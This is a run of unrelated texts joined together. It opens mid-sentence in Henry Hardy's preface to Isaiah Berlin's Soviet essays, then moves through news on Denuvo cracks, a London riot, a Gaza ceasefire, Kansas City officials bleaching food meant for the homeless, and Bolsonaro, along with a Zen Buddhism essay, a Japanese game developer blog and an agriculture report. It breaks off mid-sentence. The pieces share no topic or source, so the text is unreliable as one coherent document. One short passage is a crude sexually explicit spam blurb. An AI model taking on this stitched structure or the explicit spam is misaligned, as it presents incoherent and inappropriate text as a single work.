intrinsic wickedness must bring it down (as our friend Mr X seems to me too obstinately to believe). I was much impressed by what someone told me the other day about a conversation with one of the two Soviet fliers – the one who did not go back. He was asked why his colleague who returned did so (I cannot remember the names, one was called, I think, Pigorov, but I do not know whether this is the man who stayed or the man who returned). He replied that after they had been taken for a jaunt around Virginia, they were dumped in an apartment in New York, provided with an adequate sum of money, but given nothing very specific to do. The flier who ultimately returned found that this was more intolerable than a labour camp in the Soviet Union. This may be exaggerated, but obviously contains a very large grain of truth. Apparently the people here who were dealing with some of the ‘defectors’ found the same problem – how to organise them in a sufficiently mechanical, rigid and time-consuming manner, to prevent the problem of leisure from ever arising. If you think well of the military life analogy, could I ask you – you who now know Mr Utis and his dreadful style and grammar [10] so intimately – to draft a sentence or two, to be included in the proof in the relevant place, saying something to the effect that the question of how long the lives either of executive officials or the masses they control can stand the strain of a system at once so taut and so liable to unpredictable zigzags is perhaps wrongly posed; once the conditions of army life and army discipline have been imposed, human beings appear to endure them for what seems to the more comfortloving nations a fantastic length of time; provided they are not actually being killed or wounded, peasant populations show little tendency to revolt against either regimentation or arbitrary disposal of their lives; the decades of service in the army which Russian peasants in the eighteenth or nineteenth centuries had to endure led to no serious rebellions and the emancipation of the serfs less than a century ago had less psychological effect than is commonly assumed, or civilised persons hoped it would have. The possibility of cracking under the strain is smaller in a system where everything obeys a dead routine, however inefficient and costly in lives and property, than one in which ultimate responsibility rests in nervous or fumbling fingers; hence, the prospect of upheavals and revolt, etc. when M. Stalin (I hope you will keep the ‘M.’) [11] is succeeded is greater than during his years of power, however oppressive,arbitrary, and brutal. But perhaps I have said this already in the article. If so, I apologise for repeating myself this way. With well repressed resignation Armstrong accepts, on 28 November, the expansion, even though he had asked Berlin for a cut; another piece is shortened to make room for it. And with that the dust settles and the article is printed. Four Weeks in the Soviet Union This piece is based on an unfinished draft of an account of Berlin’s visit to the USSR in 1956 with his wife Aline, whom he had married five months earlier. They were the guests of the British Ambassador, Sir William Hayter, at the British Embassy in Moscow. If Berlin had any plans to publish this piece, they appear to have been abandoned after he incorporated some of its contents, in a somewhat altered form, in the last section of the following essay; but much was omitted in this process, and not the least interesting material, so that it is well worth preserving this more personal narrative in full. Particularly toward its end, the typescript, made from recorded dictation by a secretary, contains gaps (some large) and uncertainties; these I have edited out to provide a continuous text, without, I trust, altering Berlin’s intended meaning. At the very end of the typescript there was a sentence that evidently did not belong there, but was probably an afterthought intended for insertion earlier: it does not seem to fit exactly anywhere, but it appears in the least unsuitable place I could find, as a footnote. Soviet Russian Culture This essay was originally published as two articles, one pseudonymous, in Foreign Affairs, but is here restored to its original unitary form. For its history we return to Berlin’s correspondence with Armstrong, beginning with Berlin’s letter of 6 February 1957, responding to an invitation from Armstrong to apply the thesis of ‘The Artificial Dialectic’ to recent events: My friend Mr Utis is, as you know, a poor correspondent and liable to be distracted by too many small and mostly worthless preoccupations. Your praise acted upon him as a heady wine, but his moods are changeable, and although, as his only dependable friend, I am trying to act as his moral backbone – an element which he conspicuously lacks – it is difficult to make any promises on his behalf, and the prospect of a decision by him on the subject of which you wrote, especially by the first week in August, is by no means certain. It would therefore be a far far safer thing not to anticipate its arrival too confidently. I will bring what pressure I can upon my poor friend, but I need not tell you, who have had so many dealings with him in the past, that his temperament and performance are unsteady and a source of exasperation and disappointment to those few who put any faith in him. I shall report to you, naturally, of what progress there may be – there is, alas, no hope of a permanent improvement in his character. Utis is under the queer illusion that his very unreliability is in itself a disarming and even amiable characteristic. Nothing could be further from the truth, but he is too old to learn, and if it were not for the many years of association with him which I have had to suffer, I should have given up this tiresome figure long ago. Nor could I, or anyone, blame you if you resolved to do this; there is no room for such behaviour in a serious world, without something more to show for it than poor Utis has thus far been able to achieve. You are too kind to him; and he, impenitently, takes it all too much for granted. Armstrong nags gently over the ensuing months, and is rewarded with a script, not totally unrelated to the subject he had suggested, a mere six months later. Its original title had been ‘The Present Condition of Russian Intellectuals’, but this has been altered, with typical Berlinian understatement, to ‘Notes on Soviet Culture’. In his acknowledgement, dated 28 August, Armstrong writes: ‘I have accepted your suggestion [presumably in a letter that does not survive] and am running the first six sections under your name, and running section seven as a separate short article, signed O. Utis, under the title “The Soviet Child– Man”.’ This seems to give us the best of two worlds.’ It is clear from Armstrong’s next letter (4 September) that Berlin cabled disagreement about the title of the Utis piece and lest anyone suspect that he was the author – the re-use of Utis as a pseudonym. Armstrong tells Berlin that it is too late to make changes, as printing of the relevant part of the journal has already occurred. Berlin must have begged or insisted (or both), since on 9 September Armstrong writes that he has now ‘made the changes you wanted’, adopting ‘L’ as the pseudonym, which ‘puts the article in our normal series of anonymous articles signed with an initial’. To accommodate Berlin he had had to stop the presses, and he withheld the honorarium for ‘The Soviet Intelligentsia’ as a contribution to the costs involved. The only sign of what must by this point have been firmly gritted teeth is Armstrong’s remark in a letter of 20 September that he ‘only didn’t quite see why if there was to be no Utis it mattered what Mr L called his article, but doubtless you had a good reason for protecting him too’. As an example of editorial forbearance this episode would surely be hard to beat. I conclude my account of it with a splendid account that Berlin sends Armstrong (17 December) of the feedback he has received to the pieces: I have had two delightful letters from unknown correspondents in the USA: one from a lady who encloses a letter she wrote to John Foster Dulles, commenting on his articles in the same issue, and drawing his attention to the deeper truths of mine – so far so good. She goes on however to say that the article by the unknown ‘L’ seems to her to give a truer picture of some of these things than even my own otherwise flawless work – and wishes to draw my attention to an article from which I have to learn, she hopes she is not hurting my feelings, but she does think it a good thing to be up to date, my own article is somewhat historical, the other article is on the dot and on the whole a better performance altogether. I am oscillating between humbly expressing my admiration for the genius of ‘L’ and jealously denouncing him as a vulgar impressionist who is trading on people’s ignorance and giving an account which no one can check, which is, when examined, no better than a tawdry fantasy, which has unfortunately taken innocent persons like her – and perhaps even Mr John Foster Dulles – in. The other letter is from an Indian at Harvard who praises my article and denounces that of ‘L’ as a typical American journalistic performance unworthy to stand beside the pure and lofty beauty of my deathless prose. I thought these reflections might give you pleasure. The Survival of the Russian Intelligentsia This comment on the post-Soviet situation provides an interesting postscript to the previous essay, recording Berlin’s delight and surprise that the intelligentsia had emerged so unscathed from the depredations of the Soviet era, contrary to his rather gloomy expectations. In subsequent years his confidence that the death of that era was truly permanent steadily increased, despite the immense problems of its aftermath, some of them only too reminiscent of those engendered by Communism. *** PREVIOUS PAGE | 2 OF 2 | *** *Reprinted from "The Soviet Mind: Russian Culture under Communism" (Brookings Institution Press, 2011) by Isaiah Berlin. Preface © Henry Hardy 2004. *** Learn More: ISAIAH BERLIN VIRTUAL LIBRARY *** Henry Hardy is a fellow of Wolfson College, Oxford University. He is one of Isaiah Berlin's literary trustees and has edited a number of other collections of Berlin's essays. *** NOTES [1] In his The First and the Last (New York/London, 1999), pp. 9–19, at p. 17. [2] British Minister in Moscow [3] British Minister in Washington [4] Letter of 20 February 1946. The poem is the second in the cycle Cinque. [5] The whole tribute is posted under ‘Writing on Berlin’ in The Isaiah Berlin Virtual Library (hereafter IBVL), the website of The Isaiah Berlin Literary Trust, http://berlin.wolf.ox.ac.uk/. [6] Letter to David Astor, 27 October 1958. [7] Sunday Times, 21 December 1958, p. 6. [8] Sunday Times, 7 November 1995, section 7 (‘Books’), p. 9. Readers may like to have a note of Berlin’s other shorter publications on Pasternak: ‘The Energy of Pasternak’, a review of Pasternak’s Selected Writings, appeared in the Partisan Review 17 (1950), pp. 748–51, and was reprinted in Victor Erlich (ed.), Pasternak: A Collection of Critical Essays (Englewood Cliffs, NJ, 1978); and there is a letter on Pasternak, written in reply to an article by Gabriel Josipovici, in the Times Literary Supplement, 16–22 February 1990, p. 171. [9] A. J. P. Taylor, ‘Stalin as Statesman: A Look at the Record’, New York Times Magazine (New York Times, section 6), pp. 9, 53–60. [10] Berlin annotates: ‘Did you know that “grammar” is the same word as “glamour”? It proceeds via “grimoire”. If further explanation is needed, I shall provide it when I see you.’ [11] He did; I haven’t. So long after Stalin’s death, the appellation (used throughout the piece) loses whatever point it had. Even Armstrong had his doubts (28 November): ‘I didn’t mind the ironical courtesy – indeed, rather liked it – but have a dislike of using a French term in speaking of another nationality. However, to put “Mr” looked ridiculous, so “M.” it is.’

Denuvo's anti-tamper tech has been successfully tampered with and the company's 5.3 version that was meant to protect Hitman 2 has already been cracked by FCKDRM, the same group that cracked the 5.2 version and Football Manager 2019. Once , the cracking group that calls itself FCKDRM has no affiliation with CD Projekt Red and GoG's anti-DRM initiative that sports the , even if they do share the disdain for all things DRM. Having cracked the 5.2 version in just five days, the group moved on and did the same to Hitman 2. IO Interactive's launch of Hitman 2 is scheduled for 13 November 2018, unless you've pre-ordered the game, in which case you've had it since Friday. Unfortunately, it isn't worth much now and it remains to be seen whether the developer removes it. This means that it took the group even less to break apart Denuvo 5.3 than its predecessor, albeit by a single day or so. Nevertheless, the company is definitely going through a rough patch, with the yet-to-be-cracked 4.9 version seemingly their best option at the moment for at least trying to protect the upcoming games. Much has been said about the viability of Denuvo's anti-tamper tech lately, especially by the company themselves. They couldn't resist tooting their own horn lately by pointing out how triple-A games lose a bunch of money they'd otherwise make in first two weeks by deciding against Denuvo. Unfortunately, FCKDRM is almost singlehandedly making the company redundant, because what good is crack protection if it's cracked before the game is out. With Battlefield V one of the prime candidates for Denuvo's future triple-A ambitions, EA and DICE's game may actually prove to be one of the crucial battlefields for the anti-tamper tech maker as well. Sports Interactive Football Manager 2019 Interestingly enough, the company reacted pretty quickly to the debacle and cracking of Football Manager 2019, rolling out the 5.3 version. Unfortunately, it doesn't seem to be doing the trick and the whole ordeal is quickly turning into an all out war between cracking groups and Denuvo. And so far, the groups seem to be winning. You can read more .

Thousands of self-declared anarchists brought chaos to the streets of London last night. At least 50 people were arrested as thousands of anti-capitalists and anarchists took to the streets to protest and riot in central London. Three officers were injured, a police car was set alight and Buckingham Palace was attacked. The so-called Million Mask March was organized by the by the hacking group Anonymous. Protesters wore intimidating Guy Fawkes masks inspired by the cult film V for Vendetta. On man was arrested for threatening police with a wooden batten, whilst others threw rocks and fireworks at the Queen’s residence of Buckingham Palace. The Daily Mail report that the man pictured smashing up a police car was wearing a designer Colmar ski jacket worth several hundred pounds. Last year a similar protest on the 5th of November was attended by Russell Brand and Vivienne Westwood, calling for a socialist revolution. Images credit to Getty Images

JERUSALEM -- Hamas and other Gaza militant groups said Tuesday they have accepted an Egyptian-brokered cease-fire after launching hundreds of rockets into Israel over the past 24 hours and weathering a wave of punishing Israeli airstrikes. There was no immediate word from Israel on whether it had accepted a deal to halt the heaviest exchange of fire with Gaza's Hamas rulers since a 2014 war. The cease-fire was announced by a group of Gaza militant groups, including Hamas, whose leader Ismail Haniyeh earlier signaled a readiness to halt the latest round of fighting. He said the Islamic militant group would stop its rocket fire if Israel halts its airstrikes. The terms of the deal appeared to be modest. Daoud Shehab, a spokesman for the Islamic Jihad militant group, said each side would promise quiet in exchange for quiet. Get Breaking News Delivered to Your Inbox Just an hour before the militants made their declaration, the Israeli Security Cabinet said it had ordered the military to "continue operations as needed," following a six-hour meeting. How this wave of violence started The rocket fire was triggered by a botched Israeli military raid in Gaza on Sunday. Undercover troops, apparently on a reconnaissance mission, were discovered inside Gaza, setting off a battle that left seven militants, including a Hamas commander, and a senior Israeli military officer dead. Hamas then fired a guided missile that struck a bus from which soldiers had just disembarked, marking an upgrade over its typical inaccurate projectiles. The strike set the bus on fire. A 19-year-old soldier was critically wounded and rocket attacks and Israeli retaliation fire quickly ensued. The Israeli military said some 460 rockets and mortar rounds have been launched from Gaza since Monday afternoon, with more than 100 of them intercepted by Israel's Iron Dome defense system. Lt. Col. Jonathan Conricus, a military spokesman, said Israeli warplanes, tanks and naval vessels were involved in strikes against military compounds, observation posts and weapons facilities belonging to the two main Gaza militant groups behind the attacks -- Hamas and the Islamic Jihad. He said the Israeli military has enhanced its deployment along the border but had yet to mobilize its reserves. He said Gaza militant groups were believed to have an arsenal in excess of 20,000 rockets and mortars of different caliber and range. "Southern Israel is under attack," Israeli Foreign Ministry spokesman Emmanuel Nachshon said Tuesday. "In the last 24 hours more than 400 mortars and rockets were shot at Israeli cities and villages with deadly consequences. Hamas is deliberately targeting our civilian population and this is something that we cannot and will not accept. The IDF (Israel Defense Forces) will strike in a strong and deadly manner in order to make sure that the message passes across and that Hamas understands that it must stop immediately with those attacks." CBS News correspondent Charlie D'Agata said Palestinians in Gaza awoke on Tuesday to widespread destruction from Israeli airstrikes and tank fire. The Israeli forces' targets included a television and radio station run by Hamas, the Islamic militant group that rules the territory, and the group's military intelligence headquarters. On Tuesday, Gaza's Health Ministry said three Palestinians in their 20s were killed in separate airstrikes, raising the number killed since the Israeli offensive began to seven, including five militants. At least 25 people have been wounded. Israeli medical officials said a 48-year-old man was found early Tuesday under the rubble of a building hit by a rocket in the southern city of Ashkelon. Relatives in the West Bank town of Halhoul identified the man as Mahmoud Abu Asbeh, a Palestinian laborer who had been working in Israel. He left a wife and six children behind. "Everyone in town is sad. It's God's will and there's nothing we can do about it," said his cousin, Jihad Abu Asbeh. Nearly 30 people have been wounded in Israel, three critically, according to medical officials. An Israeli policeman inspects the damage in a building caused a day earlier by a rocket fired from the Gaza Strip, in the southern Israeli town of Ashkelon, Nov. 13, 2018. Getty The last Gaza war, and the lingering blockade Earlier Tuesday, the armed wing of Hamas threatened to step up its attacks and fire rockets further north toward the Israeli cities of Ashdod and Beersheba if Israel continued its airstrikes. Over the past few months, the sides have come close to a major escalation several times, only to step back in favor of giving a chance to a long-term Egyptian mediated truce. Israel and Hamas have fought three wars since the Islamic militant group seized control of Gaza from the internationally-backed Palestinian Authority in 2007. In the most recent war, over 2,200 Palestinians were killed, more than half of them civilians, and tens of thousands were left homeless. Seventy-three people, most of them soldiers, were killed on the Israeli side. Israel and Egypt have maintained a blockade on Gaza since the Hamas takeover. The blockade has devastated Gaza's economy. In recent weeks, Egyptian and U.N. mediators had appeared to make progress in brokering informal understandings aimed at quieting the situation. Last week, Israel allowed Qatar to deliver $15 million to Gaza to allow cash-strapped Hamas to pay the salaries of thousands of government workers. At the same time, Hamas has lowered the intensity of its border protests in recent weeks. Netanyahu cut short a visit to Paris because of the flare-up and returned to Israel on Monday for consultations with top security officials.

Another fascinating revelation concerned the newspapers in The Grand Budapest Hotel, including The Trans Alpine Yodel, The Daily Fact and The Continental Drift. For each paper, Wes Anderson wrote every single story, whether or not they were directly in shot, or anything at all to do with the film’s overall narrative. But authenticity, Annie insists, is everything: she even studied Hitler’s actual calling card to design a fascist character’s business card in the film. On a more Art Attack level of advice, Annie advocates ageing paper using Barry’s tea bags: three for each ten years of age. She points out that even if the props in the film are new in the narrative, for a film set in the past the audience expects an “old” aesthetic. But for all this authenticity, perhaps the most charming part of Annie’s talk came with the reassuring admission that even someone of her calibre can make a huge, embarrassing cock-up. The beautiful Mendl’s cake boxes seen countless times throughout the film – of which about 3000 were made – each bore one glaring error. She’s put two “t”s in patisserie, which were edited out in post-production. “As graphic designers we have a responsibility to language and words and grammar as we work with it all the time. You have no copywriter or editor; you’re alone in film and no one else is watching out for that stuff for you. “Everything in the film is there for a reason. Except the two ’t’s in patisserie.”

22 SHARES Share Tweet Kansas City Health Department is facing backlash after pouring bleach on meals intended to feed the homeless according to The Kansas City Star. A local organization Free Hot Soup KC planned to give away free meals that included home-made chili, foil-wrapped sandwiches, and soup at parks across Kansas City on Nov. 5. Health officials took away the meals citing the group didn’t have a permit and was putting the public at risk. Health Department director Rex Archer said, “E. coli or salmonella or listeria can grow in the food. And then you give that to homeless people who are more vulnerable — they will end up in the ER and even die from that exposure.” The city dumped the meals in bags and soaked them in bleach ensure no one would go back and eat the food. Kansas City Health officials said they were only trying to protect the public with this decision. “There is no question that feeding the homeless is critical,” Archer said. “There are 43 organizations (excluding Free Hot Soup KC) that have permits and do it in a safe way.” Volunteers with the Free Hot Soup KC were highly upset over the incident, however, and said the city’s raid was another measure to disrupt their potluck dinners to feed the homeless. “It’s about the criminalization of people who are homeless and the people who support them,” Eric Garbison of the Cherith Brook Catholic Worker House told The Kansas City Star. Tara McGaw, 27, who started the Free Soup gatherings in Belton, Mo., said the recent incident has left people feeling scared. “We’re not an establishment,” she said. “We’re not a not-for-profit. We’re just friends trying to help people on the side.” SEE ALSO: Arizona Black Man Beaten Unconscious By Police Files $1.97 Million Lawsuit SEE ALSO: Black Students at Goucher college held daylong protest Copyright ©2018 The Black Detour All Rights Reserved.

If we assume that the essence of Buddhism is fundamentally based on dependent origination (pratîtyasamutpada) and no-self (J., muga; S., anâtman) as Hakamaya Noriaki and Matsumoto Shiro of Critical Buddhism (hereafter CB) assume, then Zen Buddhism is not Buddhism. And for that matter, Mahayana Buddhism is not Buddhism. I don’t think there is any doubt that Hakamaya Noriaki and Matsumoto Shiro, in the book, Pruning the Bodhi Tree (http://goo.gl/sSsyyC), defend the thesis that Buddhism is the negation of the transcendent which lies beyond the sphere of temporality. Any idea of liberation by nirvana is not Buddhism because it implicitly accepts a self to be liberated which goes against no-self. "In the next essay, on "Liberation and Nirvana: Some Non-Buddhist Ideas," Matsumoto carries his critique one step further to argue that there is no greater misunderstanding than to say that the final goal of Buddhism is "liberation" (gedatsu; vimukti). The reason is that the idea of liberation (vimukti) is based on the non-Buddhist idea that there is a self (âtmavâda) to be liberated, which is an anti-Buddhist idea. Not only liberation, but nirvana, a concentrated state of mind (jhâna, samâdhi), and even "mind" (citta), are all based on the non-Buddhist idea of a self” (Pruning the Bodhi Tree, p. 10). On the other hand, if CB’s assertion cannot be sustained where the discourses of the Buddha do not regard dependent origination and no-self as primary teachings and, instead, regard transcendence of dependent origination and no-self as primary, then Zen is Buddhism along with Mahayana Buddhism. If we turn our attention to the scholarly world of what dependent origination probably means, including no-self, these terms merely describe the world of conditionality, namely, samsara. “The ultimate purpose of the teaching of dependent origination is to expose the conditions that sustain the round of rebirths, samsara, so as to show what must be done to gain release from the round. Existence within samsara is suffering and bondage (dukkha), and hence the ending of suffering requires deliverance from the round" (Bhikkhu Bodhi, The Connected Discourses of the Buddha, p. 517). Dependent origination is usually explained by the twelve nidânas (ni-dâ = to bind down) or links. This linking process helps to explain rebirth beginning with avidya all the way to old age and death. Without the removal of avidya, there is no escape from the wheel of samsara. In contrast to samsara is, naturally, nirvana which is unconditioned; which is not dependently originated. Nirvana is the primary teaching of the Buddha, not samsara. “Here, secluded from sensual pleasures ... a bhikkhus enters and dwells in the first jhâna ... He considers whatever phenomena exist there pertaining to form, feeling, perception, volitional activities, and consciousness as impermanent, suffering, an illness, a boil, a dart, misery, affliction, alien, disintegrating, empty, and non-self. He turns his mind away from these phenomena and directs it to the deathless element thus: ‘This is peaceful, this is sublime, that is, the stilling of all activities, the relinquishing of all acquisitions, the destruction of craving, dispassion, cessation, nibbana” (A. iv. 422–23). Turning to no-self which refers to the Five Aggregates (they appear in the above passage) and the senses, including their respective sense fields, they are all conditioned, never unconditioned. The Buddha tells us in so many words to reject no-self (SN 22:68) and never once the self. It is our self that wins nirvana.

みなさんこんにちは！ 『ASTRAL CHAIN(アストラルチェイン)』 リードエンバイロメントアーティストの横山です。 本作ではアクションだけでなく、探索、収集要素など、寄り道を楽しめる要素が盛りだくさん！ そんな中、私イチオシの『カメラ機能』を通して、本作の世界の魅力をご紹介したいと思います。 『ASTRAL CHAIN』のカメラ機能 『ASTRAL CHAIN』には『カメラ』という要素が存在し、ゲーム中カメラを構えることで、いろいろなフィルターをかけたりして、スクリーンショットを撮ることができます。 ただのおまけ機能だと思ったら大間違い！ ズームイン/アウトは勿論、被写界深度（ボケ表現）や色味を変えるフィルター、そしてなんと、自撮りまで出来てしまいます。 ※各種機能の紹介やUIのこだわりなどが書かれたUIセクションの記事も、是非ご覧ください！ 『ASTRAL CHAIN』のUIについて：前編（UIアーティスト 大西＆斉藤） 『ASTRAL CHAIN』のUIについて：後編（UIアーティスト 大倉＆小波） ライティングとカラーグレーディングについて と、カメラの話に入る前に、まずは本作の絵作りに大きな影響を与えている、ライティングとカラーグレーディングについて、少しだけ触れてみたいと思います。 ライティングが全くされていない状態。光源の影響がないため、奥行き感がなくのっぺりしています。ここに、Maya上で行ったライティングを焼き付けたり、ゲーム上でライトを置いたりしていきます。 ライティングを行い、光や反射が見られるようになった状態。面に光が当たることで、詳細なディテールが確認できるようになり、オブジェクトのシルエットに立体感が出てきました。 カラーグレーディングやフィルター調整が入った最終結果。Photoshopを触ったことがある方は、色調補正やトーンカーブをイメージして頂けたら良いかと。青をベースに赤を差し色としたツートーンにまとめました。色と明るさにコントラストが出て、全体的にメリハリがついたと思います。 このように、エンバイロメントではアセットの制作や配置をするだけでなく、その後の調整が、絵作りにとても重要な要素となっているのです。 さて、何故いきなりこんな説明をしたかというと、本作の『カメラ』撮影モードの機能『カラーフィルター』は、このカラーグレーディングを、まるっと追加してしまう機能だからなのです！ ということは…… ガラッと映像の印象を変えてお好みの絵柄が出せるということ！ とてもたのしい！！ ※何もかも自由に調整できるわけではないですが、いくつものパターンから選択することができます。 アークの街中 本作の舞台となる人工島アークは、その特徴的な構造から、地区によって全く異なった表情を見ることができます。 今回はその中からいくつかピックアップして、写真好きのアナタも、そうでないアナタも、ステージを歩くのが楽しくなるオススメの撮影ポイントをご紹介します！ ※世界観については、須田さんの記事「美術設定から見る、アークの歩き方！（コンセプトアーティスト 須田）」で詳しく書かれていますので、是非そちらもご覧下さい！ 以下のスクリーンショットは、全て実際にカメラ機能で撮影した「撮って出し」のものです。 【第33地区】 建物を埋め尽くすように並んだ看板が印象的な、通称ハーモニースクエア。物語中何度も訪れることになるこの街は、訪れるたび、異なった表情を見せてくれます。 個人的なお気に入りは、「ハーモニーメディアセンター」側から横断歩道側の看板をがっつりとらえた構図！情報量の多い看板は、どこから撮っても映えるので楽しいです。 歩道橋の下を撮るのも、なかなかマニアックな香りがします！ここはちょっと見つけ辛いですね。「LARGER BURGER」前から撮影しました。 【第36地区】 東洋風の塔や漢字の看板が特徴の第36地区。雑然と建物が増築されたこの街は、どう写真に切り取るかによって、大きく印象が変わります。 「ユニオンシティ」へと繋がるトンネル前からパシャリ！青と赤のコントラストが印象的な街です。 漢字の看板が印象的。モノトーンが好きなので、3種類もフィルターを用意してしまいましたが、「何が違うの？」とよく突っ込まれました……。 【第09地区】 屋上に増築された街並みと、それを見下ろすような巨大な壁が存在する第9地区。開けた視界と高低差のある建物のシルエットが印象的です。 壁の存在感が凄いです。思わず撮らずにはいられません。こちらは「伍番街新電脳廣場」の入口から、ぐるっと逆を向いたところです。 ジャンク街も第09地区の魅力の一つ。ちょっとレトロなフィルターで仕上げてみました。 最後に…… 駆け足となってしまいましたが、いかがでしたでしょうか？少しでも歩いてみたいと思って頂ける場所があれば、とても嬉しいのですが……。 まだまだ、ご紹介できていない魅力的なところはたくさんあるので、物語を追いかける傍ら、是非、カメラを片手にふらっと歩きまわってみて下さい。 そして、今まで気づかなかった側面を楽しんで頂けることができたなら、エンバイロメントアーティストの一人として、とても光栄に思います。 『ASTRAL CHAIN』 を、どうぞよろしくお願いします。 整備中のヘリコプター。いつもお世話になっています。 出動待ちのバイク！ ロボットみたいでかっこいいです。 事件現場を巡回する警察官。トランシーバーに手をかけた姿に、緊張感が漂っています。 民間人とネコ。とても仲が良さそうで、ゆったりとした時間の流れを感じます。 高所から街を見下ろす人影。彼はこの街に何を思うのでしょうか。

The precision agriculture sector is expected to grow at a high rate over the coming years. This new way of farming is already a reality in northwest Italy, where technologies are being used to keep plants in a good state of health but also to avert the loss of quality yield. Sensors and drones can be among the farmers' best friends, helping them to use less fertilizers and water, and to control the general condition of their crops. Nowadays Piedmont, in northwestern Italy, is an open-air laboratory where companies and research centres are testing these tools to improve the health and productivity of different cultivations. The research centre CSP and four wine cooperatives are testing a decision support system (DSS) based on wireless sensor networks, which helps agronomists to verify in real time if plants are enjoying good health. "We started about one and a half years ago," explains Andrea Molino, in charge of the DSS research at CSP, "installing in the vineyard five sensors that control the temperature and the humidity of air and soil, to understand the state of health of the grapevines." Agronomists need to verify if a poor state of health is caused by disease or a lack of water anyway, but now they have an app for tablets to collect data directly from the field. "In this way, previous data and the data gathered through apps and sensors are channelled into the same database," says Molino, "and it allows facts about different years to be compared." This research has also involved a company based in Ivrea, and specialized in the use of drones for agriculture: "They contribute to the early detection of diseases that affect grapevines, such as flavescence dorée and black wood," declares Stefano Sgrelli, Ceo of Salt&Lemon. Infrared imagine of an experimental field of wheat in Cigliano, near Vercelli. Credit: University of Turin, Faculty of Agriculture This is made possible by drones which carry small cameras able to take near infra-red images of crops. Healthy plants are rich in chlorophyll, a pigment that reflects infrared quite well: therefore, this technology, which is already used for scanning by plane, satellite or tractor, has become a precise, non-invasive and more affordable tool to check how crops are doing. Moreover, it improves sustainability because it detects whether a plant needs more or less watering, pesticides or plant foods. "These sensors give us several indexes", explains Sgrelli, "such as the normalized difference vegetation index, also known as NDVI, which shows the health state of a plant: "the nearer it is to 1, the better the health of the plant". The camera shoots every two or three seconds: then it needs to "adjust" the images, because drones normally swing while flying. A software program builds a "mosaic" made up of hundreds of images, which shows in a single 3D picture the field flown over. Connecting these results with those gathered by agronomists and sensors on the ground, the farmer can have a complete overview of what is going on. Even the Piattella bean, cultivated in Cortereggio, a small town in the Canavese area, has benefited from this technology. The legume is a presidium of Slow Food, the global organisation that supports the principles of organic agriculture, reducing pesticides, using traditional techniques and sustaining endangered quality production. The bean was almost a "lost" crop. About 25 years ago a farmer, named Mario Boggio, gave some kilos of Piattella to the University of Turin's germplasm bank, to preserve the seed. Twenty years later the cultivation restarted, but the soil was changed. CSP, together with the Association "Piattella Canavesana di Cortereggio" and the municipality of San Giorgio Canavese, started monitoring via sensors that control temperature and humidity at 10 and 40 centimetres underground, and also via near infrared camera. All the data are was sent by digital mobile radio, allowing agronomists and farmers to check the results in real time. Despite the strict parameters that define a Slow Food presidium, precision agriculture is a welcome tool: "We stand for sustainable agriculture, so we try to make the most of technology in each case, while of course ensuring that it doesn't infringe human rights or have long-term environmental effects like GMOs," affirms Ursula Hudson, member of the Executive Committee of Slow Food International. According to the report "Precision farming market by technology," published by the world consultancy firm MarketsandMarkets, from now until 2020 the size of the precision farming market should grow at an annual rate of 12.2%, reaching a total of $4.55 billion. Looking at these facts, the friendship between farmers and these technologies seems to be like a treasure. Explore further Farmers of the future will utilize drones, robots and GPS

DETROIT—Government budget cuts have reached the potter's field. Communities have long provided simple burials for the indigent or unidentified, but cash-strapped jurisdictions from North Dakota to Arizona are trimming subsidies, raising fees or switching to cremation. The deliberations over such changes underscore that in an era of austerity, governments have to face issues that touch on both the economic and the moral. "Do we continue this benefit for those who are deceased, or do we divert [resources] to those who are living?" said Robert Lamkey, director of public safety for Sedgwick County, Kan., which is paying for such burials out of its general fund after the state ended its support. Toledo, Ohio, is running out of burial funds and space in city-owned Forest Cemetery, Parks Commissioner Dennis Garvin told the City Council this month. So city leaders have proposed adopting cremation as the default option for indigent people, unless their religion bars it. The remains would then be commingled and poured into a double-deep vault. City Councilman Steve Steele asked Mr. Garvin whether the vault was like a "mass grave." The change would save Toledo $600 per body and tens of thousands of dollars a year, according to the Parks and Forestry Division. The city buried 38 people last year.

Sarah Darkish is a hotty! This pallid lil’ Austrian factor is a insatiable lil’ tramp and urchin simply enjoys to have fun all through herself. Whilst having the sheer pleasure of a ciggie this hotty embarks to have fun along with her lil’ cootchie and lets out her fave fake penis to make herself jizm noisy!

Police ID man killed during Beaumont store robbery Duayne Deandre-Devon Smith, 25, of Port Arthur. Photo: BPD Duayne Deandre-Devon Smith, 25, of Port Arthur. Photo: BPD Image 1 of / 1 Caption Close Police ID man killed during Beaumont store robbery 1 / 1 Back to Gallery Beaumont police have identified the suspected robber killed in a Tuesday night shooting. Duayne Deandre-Devon Smith, 25, of Port Arthur, was killed when a business owner opened fire on three people accused of trying to rob a game room in the 3600 block of East Lucas Drive. around 9 p.m. Tuesday. The store owner had a firearm inside the business and was able to grab it during the robbery, according to Beaumont police. The store owner wasn't hurt in the exchange of gun fire. Two other suspects fled the scene, and Beaumont Police Sgt. Rob Flores said authorities are reviewing surveillance footage that might have captured the incident. The two other suspects were last seen running east from the business towards the 5800 block of Helbig, according to police. Anyone with information about this crime is asked to call Crime Stoppers anonymously at (409) 833-TIPS.

Friday, November 20, 2009 A Preview of Google Chrome OS Google has released Chromium OS*, the open source precursor to their Chrome OS (which Google says will be “ready for users” in a year). Google in a blog post explains that the Chrome operating system will be all about web apps, not traditional apps, so the “entire experience” takes place within the browser. Additional focus in Chrome OS will be on speed, as well as security; “Every time you restart your computer the operating system verifies the integrity of its code,” Google promises. They also mention that they “benefited hugely from projects like GNU, the Linux Kernel, Moblin, Ubuntu, WebKit”, some of the layers of Chrome OS. Below video is giving an overview of the Chrome OS user interface: Expanding the app menu, linking to web apps such as Gmail, Hotmail or Google Calendar. Some windows remain always on top. [Thanks Fabio, Ricardo, Inferno, everyone! Screenshots from Google’s Chromium site via Chathurga.] >> More posts

Brazilian President Jair Bolsonaro’s chief of staff Onyx Lorenzoni told reporters following a cabinet meeting Thursday that Bolsonaro intends to fire any “communists” who work for the government currently, contending that those holding opposing ideological views to the new government cannot properly execute its goals. Bolsonaro, who defeated the socialist Workers’ Party (PT) candidate Fernando Haddad in October’s run-off presidential election, ran a campaign vowing to eradicate Marxist thought from the government and from Brazil’s schools and spearhead a movement of small-government conservatives in Latin America who opposed the ideologies of the region’s dictatorships, Cuba, Venezuela, and Nicaragua. “Society said ‘enough’ to socialist and communist ideas which, in the past 30 years, brought us to the chaos were are living today,” Lorenzoni told reporters, explaining that this mandate made it necessary to remove Marxists from top positions in the government according to the Spanish news agency EFE. To accomplish this, the Bolsonaro administration will begin a review of some of the highest-ranking officials. Bolsonaro’s chief of staff said that at least 320 government employees were notified following the cabinet-level meeting that they would be “evaluated” to ensure that their work goals were compatible with what Bolsonaro was hoping to accomplish in office. These would face 